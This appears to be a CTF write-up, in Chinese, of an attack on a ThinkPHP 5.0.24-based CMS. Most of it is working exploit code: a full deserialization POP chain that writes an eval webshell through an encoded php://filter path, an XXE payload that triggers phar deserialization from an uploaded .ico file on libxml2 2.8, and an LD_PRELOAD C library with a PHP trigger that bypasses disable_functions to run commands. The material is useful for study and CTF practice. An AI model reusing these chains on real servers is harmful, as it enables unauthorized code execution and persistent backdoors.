某cms代码审计

之前比赛时候的一道题目

做下学长大佬出的题目! 上回没做出来!

题目环境是libxml2.8的!

tp5反序列化写shell

tp5.0.24

调用一下tp5反序列化的链子!

自己加个入口!

win是入口:

File.php

file_put_contents 写入shell!

写入成功!

exp

<?php
namespace think\process\pipes {

    class Windows {

        private $files = [];

        public function __construct($files)
        {

            $this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
        }
    }
}

namespace think {

    abstract class Model{

        protected $append = [];
        protected $error = null;
        public $parent;

        function __construct($output, $modelRelation)
        {

            $this->parent = $output;  //$this->parent=> think\console\Output;
            $this->append = array("xxx"=>"getError");     //调用getError 返回this->error
            $this->error = $modelRelation;               // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
        }
    }
}

namespace think\model{

    use think\Model;
    class Pivot extends Model{

        function __construct($output, $modelRelation)
        {

            parent::__construct($output, $modelRelation);
        }
    }
}

namespace think\model\relation{

    class HasOne extends OneToOne {


    }
}
namespace think\model\relation {

    abstract class OneToOne
    {

        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;
        function __construct($query)
        {

            $this->selfRelation = 0;
            $this->query = $query;    //$query指向Query
            $this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
        }
    }
}

namespace think\db {

    class Query {

        protected $model;

        function __construct($model)
        {

            $this->model = $model; //$this->model=> think\console\Output;
        }
    }
}
namespace think\console{

    class Output{

        private $handle;
        protected $styles;
        function __construct($handle)
        {

            $this->styles = ['getAttr'];
            $this->handle =$handle; //$handle->think\session\driver\Memcached
        }

    }
}
namespace think\session\driver {

    class Memcached
    {

        protected $handler;

        function __construct($handle)
        {

            $this->handler = $handle; //$handle->think\cache\driver\File
        }
    }
}

namespace think\cache\driver {

    class File
    {

        protected $options=null;
        protected $tag;

        function __construct(){

            $this->options=[
                'expire' => 3600,
                'cache_subdir' => false,
                'prefix' => '',
             'path'  => 'php://filter/write=string.rot13/resource=<?cuc @riny($_TRG[_]);?>',

              // 'path'  => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',   //win
              //  'path' => './demo/'  ,  // 创建目录 要高权限才行 不然会报错  写目录的地方也要有w才能
                'data_compress' => false,
            ];
            $this->tag = 'xxx';
        }

    }
}

namespace {

    $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
    $Output = new think\console\Output($Memcached);
    $model = new think\db\Query($Output);
    $HasOne = new think\model\relation\HasOne($model);
    $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
//    echo serialize($window);
    echo base64_encode(serialize($window));
}

XXE RCE

XXE入口

在 PHP 里面解析 xml 用的是 libxml,当 libxml 的版本大于 2.9.0 的时候默认是禁止解析 xml 外部实体内容的。 这里题目环境是2.8.0。

现在的思路是寻找上传点!
application/user/controller/Uploadify.php

有上传点!

经过测试发现:

一般的jpg,gif图片:有检查绕过不了!

但是ico图片可以!

成功上传!

phar反序列化测试:

写一个测试点:

触发成功!

XXE触发!

<?xml version="1.0"?>
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "phar://./uploads/user/4/allimg/20211207/4-21120G45250B5.ico" >
<!ENTITY upload SYSTEM "http://0.0.0.0:1" >
]>
<a>
  <foo>&xxe;</foo>
  <up>&upload;</up>
</a>

写入成功!

bypass disable_fun

上传exp bypass

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
    const char* cmdline = "/readflag > /tmp/1.txt";
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }
    system(cmdline);
}
<?php
putenv("LD_PRELOAD=/var/www/html/uploads/exp.so");
mb_send_mail("","","");
echo 1111;
?>

冲冲冲冲冲冲冲冲冲冲冲冲!学长大大带带!

点击收藏 | 0 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖